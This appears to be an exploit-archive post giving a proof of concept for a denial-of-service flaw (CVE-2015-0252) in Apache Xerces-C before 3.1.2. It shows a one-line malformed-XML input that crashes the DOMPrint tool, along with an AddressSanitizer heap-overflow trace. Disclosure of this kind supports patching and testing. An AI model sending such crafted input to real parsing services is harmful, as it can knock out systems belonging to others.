# Exploit Title: Apache Xerces-C XML Parser (< 3.1.2) DoS POC # Date: 2015-05-03 # Exploit Author: beford # Vendor Homepage: http://xerces.apache.org/#xerces-c # Version: Versions prior to 3.1.2 # Tested on: Ubuntu 15.04 # CVE : CVE-2015-0252 Apache Xerces-C XML Parser Crashes on Malformed Input I believe this to be the same issue that was reported on CVE-2015-0252, posting this in case anyone is interested in reproducing it. Original advisory: https://xerces.apache.org/xerces-c/secadv/CVE-2015-0252.txt $ printf "\xff\xfe\x00\x00\x3c" > file.xml $ DOMPrint ./file.xml # Ubuntu 15.04 libxerces-c3.1 package Segmentation fault $ ./DOMPrint ./file.xml # ASAN Enabled build ================================================================= ==6831==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb5d9d87c at pc 0x836a721 bp 0xbf8127a8 sp 0xbf812798 READ of size 1 at 0xb5d9d87c thread T0 #0 0x836a720 in xercesc_3_1::XMLReader::refreshRawBuffer() xercesc/internal/XMLReader.cpp:1719 #1 0x836a720 in xercesc_3_1::XMLReader::xcodeMoreChars(unsigned short*, unsigned char*, unsigned int) xercesc/internal/XMLReader.cpp:1761 #2 0x837183f in xercesc_3_1::XMLReader::refreshCharBuffer() xercesc/internal/XMLReader.cpp:576 #3 0x837183f in xercesc_3_1::XMLReader::peekString(unsigned short const*) xercesc/internal/XMLReader.cpp:1223 #4 0x83ad0ae in xercesc_3_1::ReaderMgr::peekString(unsigned short const*) xercesc/internal/ReaderMgr.hpp:385 #5 0x83ad0ae in xercesc_3_1::XMLScanner::checkXMLDecl(bool) xercesc/internal/XMLScanner.cpp:1608 #6 0x83b6469 in xercesc_3_1::XMLScanner::scanProlog() xercesc/internal/XMLScanner.cpp:1244 #7 0x8d69220 in xercesc_3_1::IGXMLScanner::scanDocument(xercesc_3_1::InputSource const&) xercesc/internal/IGXMLScanner.cpp:206 #8 0x83cd3e7 in xercesc_3_1::XMLScanner::scanDocument(unsigned short const*) xercesc/internal/XMLScanner.cpp:400 #9 0x83ce728 in xercesc_3_1::XMLScanner::scanDocument(char const*) xercesc/internal/XMLScanner.cpp:408 #10 0x849afc5 in xercesc_3_1::AbstractDOMParser::parse(char const*) xercesc/parsers/AbstractDOMParser.cpp:601 #11 0x8050bf2 in main src/DOMPrint/DOMPrint.cpp:398 #12 0xb6f5272d in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x1872d) #13 0x805d3b5 (/ramdisk/DOMPrint+0x805d3b5) 0xb5d9d87c is located 0 bytes to the right of 163964-byte region [0xb5d75800,0xb5d9d87c) allocated by thread T0 here: #0 0xb72c3ae4 in operator new(unsigned int) (/usr/lib/i386-linux-gnu/libasan.so.1+0x51ae4) #1 0x8340cce in xercesc_3_1::MemoryManagerImpl::allocate(unsigned int) xercesc/internal/MemoryManagerImpl.cpp:40 #2 0x8094cb2 in xercesc_3_1::XMemory::operator new(unsigned int, xercesc_3_1::MemoryManager*) xercesc/util/XMemory.cpp:68 #3 0x8daaaa7 in xercesc_3_1::IGXMLScanner::scanReset(xercesc_3_1::InputSource const&) xercesc/internal/IGXMLScanner2.cpp:1284 #4 0x8d6912a in xercesc_3_1::IGXMLScanner::scanDocument(xercesc_3_1::InputSource const&) xercesc/internal/IGXMLScanner.cpp:198 #5 0x83cd3e7 in xercesc_3_1::XMLScanner::scanDocument(unsigned short const*) xercesc/internal/XMLScanner.cpp:400 #6 0x83ce728 in xercesc_3_1::XMLScanner::scanDocument(char const*) xercesc/internal/XMLScanner.cpp:408 #7 0x849afc5 in xercesc_3_1::AbstractDOMParser::parse(char const*) xercesc/parsers/AbstractDOMParser.cpp:601 #8 0x8050bf2 in main src/DOMPrint/DOMPrint.cpp:398 #9 0xb6f5272d in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x1872d) SUMMARY: AddressSanitizer: heap-buffer-overflow xercesc/internal/XMLReader.cpp:1719 xercesc_3_1::XMLReader::refreshRawBuffer()